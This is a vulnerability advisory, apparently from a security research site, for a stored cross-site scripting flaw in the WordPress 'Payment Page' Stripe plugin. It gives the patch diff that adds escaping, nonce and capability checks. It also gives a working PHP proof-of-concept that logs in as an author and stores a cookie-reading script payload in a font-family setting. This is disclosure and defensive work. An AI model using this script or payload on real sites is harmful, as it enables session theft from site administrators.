+			$response .= '--payment-page-element-pricing-filter-trigger-font-family : ' . esc_attr( $settings['switcher_text_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['switcher_text_font_size'] ) ) {
@@ -672,11 +675,11 @@
 		}

 		if ( isset( $settings['switcher_text_font_weight'] ) ) {
-			$response .= '--payment-page-element-pricing-filter-trigger-font-weight : ' . $settings['switcher_text_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-pricing-filter-trigger-font-weight : ' . esc_attr( $settings['switcher_text_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['switcher_text_font_transform'] ) ) {
-			$response .= '--payment-page-element-pricing-filter-trigger-text-transform : ' . $settings['switcher_text_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-pricing-filter-trigger-text-transform : ' . esc_attr( $settings['switcher_text_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['switcher_button_background_color'] ) ) {
@@ -717,7 +720,7 @@
 		}

 		if ( isset( $settings['switcher_button_active_border_color'] ) && isset( $settings['switcher_button_active_border_size'] ) ) {
-			$response .= '--payment-page-element-pricing-filter-trigger-active-border : ' . payment_page_form_setting_to_css_variable_border( $settings['switcher_button_active_border_size'], $settings['switcher_button_active_border_color'] ) . ';' . "n";
+			$response .= '--payment-page-element-pricing-filter-trigger-active-border : ' . payment_page_form_setting_to_css_variable_border( $settings['switcher_button_active_border_size'], esc_attr( $settings['switcher_button_active_border_color'] ) ) . ';' . "n";
 		}

 		if ( isset( $settings['switcher_button_active_border_radius'] ) ) {
@@ -750,15 +753,15 @@
 		}

 		if ( isset( $settings['switcher_select_font_family'] ) ) {
-			$response .= '--payment-page-element-pricing-filter-select-font-family : ' . $settings['switcher_select_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-pricing-filter-select-font-family : ' . esc_attr( $settings['switcher_select_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['switcher_select_font_weight'] ) ) {
-			$response .= '--payment-page-element-pricing-filter-select-font-weight : ' . $settings['switcher_select_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-pricing-filter-select-font-weight : ' . esc_attr( $settings['switcher_select_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['switcher_select_font_transform'] ) ) {
-			$response .= '--payment-page-element-pricing-filter-select-text-transform : ' . $settings['switcher_select_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-pricing-filter-select-text-transform : ' . esc_attr( $settings['switcher_select_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['switcher_select_arrow_color'] ) ) {
@@ -772,7 +775,7 @@
 		$response = '';

 		if ( isset( $settings['submit_button_background_color'] ) ) {
-			$response .= '--payment-page-element-form-submit-background : ' . $settings['submit_button_background_color'] . ';' . "n";
+			$response .= '--payment-page-element-form-submit-background : ' . esc_attr( $settings['submit_button_background_color'] ) . ';' . "n";
 		}

 		if ( isset( $settings['submit_button_text_color'] ) ) {
@@ -784,15 +787,15 @@
 		}

 		if ( isset( $settings['submit_button_text_font_family'] ) ) {
-			$response .= '--payment-page-element-form-submit-font-family : ' . $settings['submit_button_text_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-submit-font-family : ' . esc_attr( $settings['submit_button_text_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['submit_button_text_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-submit-font-weight : ' . $settings['submit_button_text_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-submit-font-weight : ' . esc_attr( $settings['submit_button_text_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['submit_button_text_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-submit-text-transform : ' . $settings['submit_button_text_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-submit-text-transform : ' . esc_attr( $settings['submit_button_text_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['submit_button_padding'] ) ) {
@@ -800,7 +803,7 @@
 		}

 		if ( isset( $settings['submit_button_border_color'] ) && isset( $settings['submit_button_border_size'] ) ) {
-			$response .= '--payment-page-element-form-submit-border : ' . payment_page_form_setting_to_css_variable_border( $settings['submit_button_border_size'], $settings['submit_button_border_color'] ) . ';' . "n";
+			$response .= '--payment-page-element-form-submit-border : ' . payment_page_form_setting_to_css_variable_border( $settings['submit_button_border_size'], esc_attr( $settings['submit_button_border_color'] ) ) . ';' . "n";
 		}

 		if ( isset( $settings['submit_button_border_radius'] ) ) {
@@ -829,7 +832,7 @@
 		}

 		if ( isset( $settings['_payment_success_title_font_family'] ) ) {
-			$response .= '--payment-page-success-title-font-family : ' . $settings['_payment_success_title_font_family'] . ';' . "n";
+			$response .= '--payment-page-success-title-font-family : ' . esc_attr( $settings['_payment_success_title_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_title_font_size'] ) ) {
@@ -837,11 +840,11 @@
 		}

 		if ( isset( $settings['_payment_success_title_font_weight'] ) ) {
-			$response .= '--payment-page-success-title-font-weight : ' . $settings['_payment_success_title_font_weight'] . ';' . "n";
+			$response .= '--payment-page-success-title-font-weight : ' . esc_attr( $settings['_payment_success_title_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_title_font_transform'] ) ) {
-			$response .= '--payment-page-success-title-text-transform : ' . $settings['_payment_success_title_font_transform'] . ';' . "n";
+			$response .= '--payment-page-success-title-text-transform : ' . esc_attr( $settings['_payment_success_title_font_transform'] ) . ';' . "n";
 		}


@@ -850,7 +853,7 @@
 		}

 		if ( isset( $settings['_payment_success_content_font_family'] ) ) {
-			$response .= '--payment-page-success-message-font-family : ' . $settings['_payment_success_content_font_family'] . ';' . "n";
+			$response .= '--payment-page-success-message-font-family : ' . esc_attr( $settings['_payment_success_content_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_content_font_size'] ) ) {
@@ -858,11 +861,11 @@
 		}

 		if ( isset( $settings['_payment_success_content_font_weight'] ) ) {
-			$response .= '--payment-page-success-message-font-weight : ' . $settings['_payment_success_content_font_weight'] . ';' . "n";
+			$response .= '--payment-page-success-message-font-weight : ' . esc_attr( $settings['_payment_success_content_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_content_font_transform'] ) ) {
-			$response .= '--payment-page-success-message-text-transform : ' . $settings['_payment_success_content_font_transform'] . ';' . "n";
+			$response .= '--payment-page-success-message-text-transform : ' . esc_attr( $settings['_payment_success_content_font_transform'] ) . ';' . "n";
 		}


@@ -871,7 +874,7 @@
 		}

 		if ( isset( $settings['_payment_success_details_label_font_family'] ) ) {
-			$response .= '--payment-page-success-payment-detail-label-font-family : ' . $settings['_payment_success_details_label_font_family'] . ';' . "n";
+			$response .= '--payment-page-success-payment-detail-label-font-family : ' . esc_attr( $settings['_payment_success_details_label_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_details_label_font_size'] ) ) {
@@ -879,11 +882,11 @@
 		}

 		if ( isset( $settings['_payment_success_details_label_font_weight'] ) ) {
-			$response .= '--payment-page-success-payment-detail-label-font-weight : ' . $settings['_payment_success_details_label_font_weight'] . ';' . "n";
+			$response .= '--payment-page-success-payment-detail-label-font-weight : ' . esc_attr( $settings['_payment_success_details_label_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_details_label_font_transform'] ) ) {
-			$response .= '--payment-page-success-payment-detail-label-text-transform : ' . $settings['_payment_success_details_label_font_transform'] . ';' . "n";
+			$response .= '--payment-page-success-payment-detail-label-text-transform : ' . esc_attr( $settings['_payment_success_details_label_font_transform'] ) . ';' . "n";
 		}


@@ -892,7 +895,7 @@
 		}

 		if ( isset( $settings['_payment_success_details_font_family'] ) ) {
-			$response .= '--payment-page-success-payment-detail-font-family : ' . $settings['_payment_success_details_font_family'] . ';' . "n";
+			$response .= '--payment-page-success-payment-detail-font-family : ' . esc_attr( $settings['_payment_success_details_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_details_font_size'] ) ) {
@@ -900,11 +903,11 @@
 		}

 		if ( isset( $settings['_payment_success_details_font_weight'] ) ) {
-			$response .= '--payment-page-success-payment-detail-font-weight : ' . $settings['_payment_success_details_font_weight'] . ';' . "n";
+			$response .= '--payment-page-success-payment-detail-font-weight : ' . esc_attr( $settings['_payment_success_details_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['_payment_success_details_font_transform'] ) ) {
-			$response .= '--payment-page-success-payment-detail-text-transform : ' . $settings['_payment_success_details_font_transform'] . ';' . "n";
+			$response .= '--payment-page-success-payment-detail-text-transform : ' . esc_attr( $settings['_payment_success_details_font_transform'] ) . ';' . "n";
 		}

 		return $response;
--- a/payment-page/app/PaymentGateway.php
+++ b/payment-page/app/PaymentGateway.php
@@ -2,6 +2,8 @@

 namespace PaymentPage;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageSettings as Settings;
 use PaymentPageThirdPartyIntegrationFreemius as FS_Integration;

--- a/payment-page/app/PaymentGateway/PayPal.php
+++ b/payment-page/app/PaymentGateway/PayPal.php
@@ -2,6 +2,8 @@

 namespace PaymentPagePaymentGateway;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageAPIPaymentPage as API_PaymentPage;
 use PaymentPageSettings as API_Settings;

@@ -11,15 +13,17 @@
 		$settings_prefix = 'paypal_' . ( intval( $options['is_live'] ) ? 'live' : 'test' );

 		$description = '<p>' . sprintf(
+			/* translators: %1$s: app type (Live or Sandbox), %2$s: My Apps & Credentials link */
 			__( 'Create a %1$s app, which can be done in %2$s in the PayPal account area. Then, enter the credentials below.', 'payment-page' ),
 			( intval( $options['is_live'] ) ? 'Live' : 'Sandbox' ),
-			'<a href="https://developer.paypal.com/developer/applications" target="_blank">' . __( 'My Apps & Credentials', 'payment-page' ) . '</a>'
+			'<a href="' . esc_url( 'https://developer.paypal.com/developer/applications' ) . '" target="_blank">' . __( 'My Apps & Credentials', 'payment-page' ) . '</a>'
 		) .
 			  '</p>';

 		$description .= '<p>' . sprintf(
+			/* translators: %s: documentation link */
 			__( 'To configure PayPal, please read our %s.', 'payment-page' ),
-			'<a href="https://docs.paymentpageplugin.com/payment-gateways/paypal/paypal-setup" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>'
+			'<a href="' . esc_url( 'https://docs.paymentpageplugin.com/payment-gateways/paypal/paypal-setup' ) . '" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>'
 		) . '</p>';

 		return array(
@@ -218,10 +222,12 @@

 	public function get_webhook_settings_administration() :array {
 		$live_fields_description = sprintf(
+			/* translators: %1$s: PayPal My Apps & Credentials link, %2$s: event name */
 			__( 'Create an Endpoint in the %1$s, to send the event: %2$s', 'payment-page' ),
 			'<a href="https://developer.paypal.com/developer/applications" target="_blank">' . __( 'PayPal My Apps & Credentials', 'payment-page' ) . '</a>',
 			'<strong>Payment capture completed</strong>' .
 			'<p>' . sprintf(
+				/* translators: %s: documentation link */
 				__( 'Our %s covers how to configure Webhooks properly.', 'payment-page' ),
 				'<a href="https://docs.paymentpageplugin.com/payment-gateways/paypal/paypal-webhook-configuration" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>'
 			) . '</p>'
@@ -233,11 +239,13 @@
 			'test_configured'         => intval( payment_page_setting_get( 'paypal_test_webhook_id' ) !== '' ),
 			'test_available'          => ( payment_page_setting_get( 'paypal_test_email_address' ) !== '' ? 1 : 0 ),
 			'test_fields_description' => '<p>' . sprintf(
+				/* translators: %1$s: PayPal My Apps & Credentials link, %2$s: event name */
 				__( 'Create an Endpoint in the %1$s, to send the event: %2$s', 'payment-page' ),
 				'<a href="https://developer.paypal.com/developer/applications" target="_blank">' . __( 'PayPal My Apps & Credentials', 'payment-page' ) . '</a>',
 				'<strong>Payment capture completed</strong>'
 			) . '</p>' .
 			'<p>' . sprintf(
+				/* translators: %s: documentation link */
 				__( 'Our %s covers how to configure Webhooks properly.', 'payment-page' ),
 				'<a href="https://docs.paymentpageplugin.com/payment-gateways/paypal/paypal-webhook-configuration" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>'
 			) . '</p>',
--- a/payment-page/app/PaymentGateway/Skeleton.php
+++ b/payment-page/app/PaymentGateway/Skeleton.php
@@ -2,6 +2,8 @@

 namespace PaymentPagePaymentGateway;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 abstract class Skeleton {

 	abstract public static function setup_start_connection( $options ) :array;
--- a/payment-page/app/PaymentGateway/Stripe.php
+++ b/payment-page/app/PaymentGateway/Stripe.php
@@ -2,6 +2,9 @@

 namespace PaymentPagePaymentGateway;

+if ( !defined( 'ABSPATH' ) ) {
+    exit;
+}
 use PaymentPageAPIPaymentPage as API_PaymentPage;
 use PaymentPageSettings as API_Settings;
 use StripeStripe as Stripe_Library;
@@ -149,7 +152,8 @@
         $response = __( 'Stripe is one of the best payment gateways to accept one-time and recurring payments, with multiple payment methods and currencies.', 'payment-page' );
         if ( payment_page_fs()->is_free_plan() ) {
             $response .= '<br/><br/>' . __( 'Note: The free version of Payment Page charges a small 2% fee on Stripe transactions in order to help us continue providing great features to the community.', 'payment-page' );
-            $response .= ' ' . sprintf( __( 'To remove the fee and get access ACH payments via Plaid, please %s', 'payment-page' ), '<a target="_blank" data-payment-page-component-admin-dashboard-trigger="upgrade" href="' . payment_page_fs()->get_upgrade_url() . '">Upgrade ></a>' );
+            /* translators: %s: upgrade link */
+            $response .= ' ' . sprintf( __( 'To remove the fee and get access ACH payments via Plaid, please %s', 'payment-page' ), '<a target="_blank" data-payment-page-component-admin-dashboard-trigger="upgrade" href="' . esc_url( payment_page_fs()->get_upgrade_url() ) . '">Upgrade ></a>' );
         }
         return $response;
     }
@@ -227,6 +231,7 @@
             }
         }
         if ( $verified_domains['live'] || $verified_domains['test'] ) {
+            /* translators: %s: payment mode (Live, Test, or both) */
             $apple_pay_description .= '<p>' . sprintf( __( 'Apple Domain Verified for %s', 'payment-page' ), implode( ',', ( $verified_domains['live'] && $verified_domains['test'] ? array('<span data-payment-page-mode="live">Live</span>', '<span data-payment-page-mode="test">Test</span>') : (( $verified_domains['live'] ? array('<span data-payment-page-mode="live">Live</span>') : array('<span data-payment-page-mode="test">Test</span>') )) ) ) ) . '</p>';
         }
         $apple_pay_description .= '<p><a href="https://dashboard.stripe.com/settings/payments/apple_pay" target="_blank">' . __( 'Manage in Stripe', 'payment-page' ) . '</a></p>';
@@ -249,7 +254,11 @@
                     'plaid' => array(
                         'title'                   => __( 'Plaid Settings %s', 'payment-page' ),
                         'test_configured'         => ( payment_page_setting_get( 'stripe_test_plaid_client_id' ) !== '' && payment_page_setting_get( 'stripe_test_plaid_secret' ) !== '' ? 1 : 0 ),
-                        'test_fields_description' => sprintf( __( 'Enter your Client ID and Secret Sandbox key from the %s', 'payment-page' ), '<a href="https://dashboard.plaid.com/team/keys" target="_blank">' . __( 'Plaid Dashboard', 'payment-page' ) . '</a>' ),
+                        'test_fields_description' => sprintf(
+                            /* translators: %s: Plaid Dashboard link */
+                            __( 'Enter your Client ID and Secret Sandbox key from the %s', 'payment-page' ),
+                            '<a href="https://dashboard.plaid.com/team/keys" target="_blank">' . __( 'Plaid Dashboard', 'payment-page' ) . '</a>'
+                         ),
                         'test_fields'             => array(
                             'stripe_test_plaid_client_id' => array(
                                 'label' => __( 'Client ID', 'payment-page' ),
@@ -267,7 +276,11 @@
                             ),
                         ),
                         'live_configured'         => ( payment_page_setting_get( 'stripe_live_plaid_client_id' ) !== '' && payment_page_setting_get( 'stripe_live_plaid_secret' ) !== '' ? 1 : 0 ),
-                        'live_fields_description' => sprintf( __( 'Enter your Client ID and Development or Production key from the %s', 'payment-page' ), '<a href="https://dashboard.plaid.com/team/keys" target="_blank">' . __( 'Plaid Dashboard', 'payment-page' ) . '</a>' ),
+                        'live_fields_description' => sprintf(
+                            /* translators: %s: Plaid Dashboard link */
+                            __( 'Enter your Client ID and Development or Production key from the %s', 'payment-page' ),
+                            '<a href="https://dashboard.plaid.com/team/keys" target="_blank">' . __( 'Plaid Dashboard', 'payment-page' ) . '</a>'
+                         ),
                         'live_fields'             => array(
                             'stripe_live_plaid_client_id'   => array(
                                 'label' => __( 'Client ID', 'payment-page' ),
@@ -283,7 +296,15 @@
                                     'development' => 'Development',
                                     'production'  => 'Production',
                                 ),
-                                'description' => '<p>' . sprintf( __( '%s - Build out your app with up to 100 live credentials', 'payment-page' ), '<strong>Development</strong>' ) . '</p>' . '<p>' . sprintf( __( '%s - Launch your app with unlimited live credentials', 'payment-page' ), '<strong>Production</strong>' ) . '</p>',
+                                'description' => '<p>' . sprintf(
+                                    /* translators: %s: environment name */
+                                    __( '%s - Build out your app with up to 100 live credentials', 'payment-page' ),
+                                    '<strong>Development</strong>'
+                                 ) . '</p>' . '<p>' . sprintf(
+                                    /* translators: %s: environment name */
+                                    __( '%s - Launch your app with unlimited live credentials', 'payment-page' ),
+                                    '<strong>Production</strong>'
+                                 ) . '</p>',
                                 'name'        => 'stripe_live_plaid_environment',
                                 'order'       => 2,
                                 'value'       => payment_page_setting_get( 'stripe_live_plaid_environment' ),
@@ -360,6 +381,7 @@
             );
         }
         if ( in_array( 'sepa', $active_payment_methods ) ) {
+            /* translators: %s: business name */
             $disclaimer_text = __( 'By providing your payment information and confirming this payment, you authorise (A) %s and Stripe, our payment service provider and/or PPRO, its local service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited. Your rights are explained in a statement that you can obtain from your bank. You agree to receive notifications for future debits up to 2 days before they occur.', 'payment-page' );
             $response[] = array(
                 'id'                    => 'sepa',
@@ -420,13 +442,22 @@
     }

     public function get_webhook_settings_administration() : array {
-        $live_fields_description = sprintf( __( 'Create a webhook in the %1$s, events to send : %2$s', 'payment-page' ), '<a href="https://dashboard.stripe.com/webhooks" target="_blank">' . __( 'Stripe Webhooks Settings', 'payment-page' ) . '</a>', '<strong>payment_intent.succeeded</strong> & <strong>setup_intent.succeeded</strong>' . '<p>' . sprintf( __( 'Our %s covers how to configure Webhooks properly.', 'payment-page' ), '<a href="https://docs.paymentpageplugin.com/payment-gateways/stripe/stripe-webhook-configuration" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>' ) . '</p>' );
+        /* translators: %1$s: Stripe Webhooks Settings link, %2$s: event names */
+        $live_fields_description = sprintf( __( 'Create a webhook in the %1$s, events to send : %2$s', 'payment-page' ), '<a href="https://dashboard.stripe.com/webhooks" target="_blank">' . __( 'Stripe Webhooks Settings', 'payment-page' ) . '</a>', '<strong>payment_intent.succeeded</strong> & <strong>setup_intent.succeeded</strong>' . '<p>' . sprintf(
+            /* translators: %s: documentation link */
+            __( 'Our %s covers how to configure Webhooks properly.', 'payment-page' ),
+            '<a href="https://docs.paymentpageplugin.com/payment-gateways/stripe/stripe-webhook-configuration" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>'
+         ) . '</p>' );
         return array(
             'title'                   => __( 'Webhook Settings (Recommended)', 'payment-page' ),
             'title_popup'             => __( 'Webhook Settings', 'payment-page' ),
             'test_configured'         => ( payment_page_setting_get( 'stripe_test_webhook_secret' ) !== '' ? 1 : 0 ),
             'test_available'          => payment_page_setting_get( 'stripe_test_public_key' ) !== '',
-            'test_fields_description' => '<p>' . sprintf( __( 'Create an Endpoint in the %1$s, to send the events : %2$s', 'payment-page' ), '<a href="https://dashboard.stripe.com/test/webhooks" target="_blank">' . __( 'Stripe Webhooks Settings', 'payment-page' ) . '</a>', '<strong>payment_intent.succeeded</strong> & <strong>setup_intent.succeeded</strong>' ) . '</p>' . '<p>' . sprintf( __( 'Our %s covers how to configure Webhooks properly.', 'payment-page' ), '<a href="https://docs.paymentpageplugin.com/payment-gateways/stripe/stripe-webhook-configuration" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>' ) . '</p>',
+            'test_fields_description' => '<p>' . sprintf( __( 'Create an Endpoint in the %1$s, to send the events : %2$s', 'payment-page' ), '<a href="https://dashboard.stripe.com/test/webhooks" target="_blank">' . __( 'Stripe Webhooks Settings', 'payment-page' ) . '</a>', '<strong>payment_intent.succeeded</strong> & <strong>setup_intent.succeeded</strong>' ) . '</p>' . '<p>' . sprintf(
+                /* translators: %s: documentation link */
+                __( 'Our %s covers how to configure Webhooks properly.', 'payment-page' ),
+                '<a href="https://docs.paymentpageplugin.com/payment-gateways/stripe/stripe-webhook-configuration" target="_blank">' . __( 'Documentation', 'payment-page' ) . '</a>'
+             ) . '</p>',
             'test_fields'             => array(
                 'stripe_test_webhook_url'    => array(
                     'label' => __( 'Webhook URL', 'payment-page' ),
--- a/payment-page/app/PostTypes.php
+++ b/payment-page/app/PostTypes.php
@@ -2,6 +2,8 @@

 namespace PaymentPage;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WP_Query;
 use PaymentPagePostTypesForm as FormPostType;

--- a/payment-page/app/PostTypes/Form.php
+++ b/payment-page/app/PostTypes/Form.php
@@ -2,6 +2,8 @@

 namespace PaymentPagePostTypes;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WP_Query;
 use PaymentPageRequest as PaymentPage_Request;
 use PaymentPageAPIPaymentPage as PaymentPage_API;
@@ -72,14 +74,16 @@
   }

   public function _load_payment_form_list() {
+    // phpcs:disable WordPress.Security.NonceVerification.Recommended -- Reading WordPress admin query parameters for post type routing
     if(!isset($_GET['post_type']))
       return;

-    if($_GET['post_type'] !== PAYMENT_PAGE_POST_TYPE_PAYMENT_FORM)
+    if(sanitize_text_field( wp_unslash( $_GET['post_type'] ) ) !== PAYMENT_PAGE_POST_TYPE_PAYMENT_FORM)
       return;

-    if(isset($_GET['action']) && $_GET['action'] === 'edit')
+    if(isset($_GET['action']) && sanitize_text_field( wp_unslash( $_GET['action'] ) ) === 'edit')
       return;
+    // phpcs:enable WordPress.Security.NonceVerification.Recommended

     add_action( 'admin_enqueue_scripts', function() {
       wp_enqueue_script(PAYMENT_PAGE_PREFIX . '-admin-pf',plugins_url( 'interface/app/admin-payment-form.min.js', PAYMENT_PAGE_BASE_FILE_PATH ), [ 'jquery' ], PAYMENT_PAGE_VERSION );
@@ -128,7 +132,7 @@

   public function _manage_payment_page_form_posts_custom_column( $column, $post_id ) {
     if( $column === 'payment_page_shortcode' ) {
-      echo '<div data-payment-page-library="clipboard">' . '[payment-page-payment-form id="' . $post_id . '"]' . '</div>';
+      echo '<div data-payment-page-library="clipboard">' . '[payment-page-payment-form id="' . intval( $post_id ) . '"]' . '</div>';

       payment_page_register_universal_interface();
     }
@@ -138,8 +142,17 @@
     if( get_post_type( $post_id ) !== PAYMENT_PAGE_POST_TYPE_PAYMENT_FORM )
       return;

+    if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )
+      return;
+
+    if ( ! current_user_can( 'edit_post', $post_id ) )
+      return;
+
+    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'update-post_' . $post_id ) )
+      return;
+
     if(isset($_POST['payment_page_update_post_status'])) {
-      $status = $_POST['payment_page_update_post_status'];
+      $status = sanitize_key( wp_unslash( $_POST['payment_page_update_post_status'] ) );

       if($status === 'publish' && get_post_status($post_id) !== 'publish')
         wp_update_post( [ 'ID' => $post_id, 'post_status' => 'publish' ] );
@@ -148,12 +161,12 @@
     }

     if(isset($_POST['payment_page_template_id']) && !empty($_POST['payment_page_template_id'])) {
+      $payment_page_template_id = intval( $_POST['payment_page_template_id'] );
       $payment_page_templates = PaymentPage_API::instance()->get_form_import_templates();

-      // Not my nicest code, might need to be cleaned up later.
       if(!empty($payment_page_templates)) {
         foreach( $payment_page_templates as $payment_page_template ) {
-          if( intval($payment_page_template[ 'id' ]) === intval($_POST['payment_page_template_id']) ) {
+          if( intval($payment_page_template[ 'id' ]) === $payment_page_template_id ) {
             update_post_meta( $post_id, 'payment_page_settings', $payment_page_template[ 'settings' ] );
           }
         }
@@ -163,7 +176,8 @@
     if(!isset($_POST['payment_page_settings']))
       return;

-    $settings = $_POST['payment_page_settings'];
+    // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by payment_page_administration_process_request_payment_page_settings()
+    $settings = wp_unslash( $_POST['payment_page_settings'] );
     $settings = payment_page_administration_process_request_payment_page_settings( $settings );

     update_post_meta( $post_id, 'payment_page_settings', $settings );
--- a/payment-page/app/PostTypes/Form/FieldMap.php
+++ b/payment-page/app/PostTypes/Form/FieldMap.php
@@ -2,6 +2,8 @@

 namespace PaymentPagePostTypesForm;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WP_Query;

 class FieldMap {
--- a/payment-page/app/PostTypes/Form/FieldMap/ActionsForm.php
+++ b/payment-page/app/PostTypes/Form/FieldMap/ActionsForm.php
@@ -2,6 +2,8 @@

 namespace PaymentPagePostTypesFormFieldMap;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageThirdPartyIntegrationFreemius as FS_Integration;

 class ActionsForm extends Skeleton {
@@ -136,7 +138,9 @@
 	}

 	private static function _register_email_action() :array {
+    /* translators: %s: site name */
     $default_message_admin = sprintf( __( 'New Payment from "%s"', 'payment-page' ), get_option( 'blogname' ) );
+    /* translators: %s: site name */
     $default_message_payer = sprintf( __( 'Payment Details from "%s"', 'payment-page' ), get_option( 'blogname' ) );

     return array(
--- a/payment-page/app/PostTypes/Form/FieldMap/CurrencySelector.php
+++ b/payment-page/app/PostTypes/Form/FieldMap/CurrencySelector.php
@@ -2,6 +2,8 @@

 namespace PaymentPagePostTypesFormFieldMap;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class CurrencySelector extends Skeleton {

 	private static array $_defaultBorderStyle = array(
--- a/payment-page/app/PostTypes/Form/FieldMap/Form.php
+++ b/payment-

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0751 - Payment Page | Payment Form for Stripe <= 1.4.6 - Authenticated (Author+) Stored Cross-Site Scripting via 'pricing_plan_select_text_font_family' Parameter

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';
$form_id = 1; // Target payment form ID

// Payload: JavaScript that steals admin cookies
$payload = '"Times New Roman";}</style><script>alert(document.cookie)</script><style>body{font-family:';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Extract nonce from payment form settings page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=payment-page&section=forms&sub_section=edit&id=' . $form_id);
$settings_page = curl_exec($ch);

// Look for the nonce in the form (simplified pattern match)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

if (empty($nonce)) {
    die('Failed to extract nonce. Check authentication and form ID.');
}

// Prepare malicious form submission with XSS payload
$post_data = [
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/admin.php?page=payment-page&section=forms&sub_section=edit&id=' . $form_id,
    'action' => 'payment_page_form_settings_update',
    'form_id' => $form_id,
    'settings[pricing_plan_select_text_font_family]' => $payload,
    // Include other required fields to avoid validation errors
    'settings[pricing_plan_select_text_font_size]' => '16px',
    'settings[pricing_plan_select_text_font_weight]' => 'normal',
    'settings[pricing_plan_select_text_font_transform]' => 'none'
];

// Submit the malicious form data
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$ajax_response = curl_exec($ch);

// Verify the payload was stored by checking the response
if (strpos($ajax_response, 'success') !== false) {
    echo 'Payload injected successfully. Visit any page using payment form ID ' . $form_id . ' to trigger XSS.';
} else {
    echo 'Injection failed. Response: ' . htmlspecialchars($ajax_response);
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

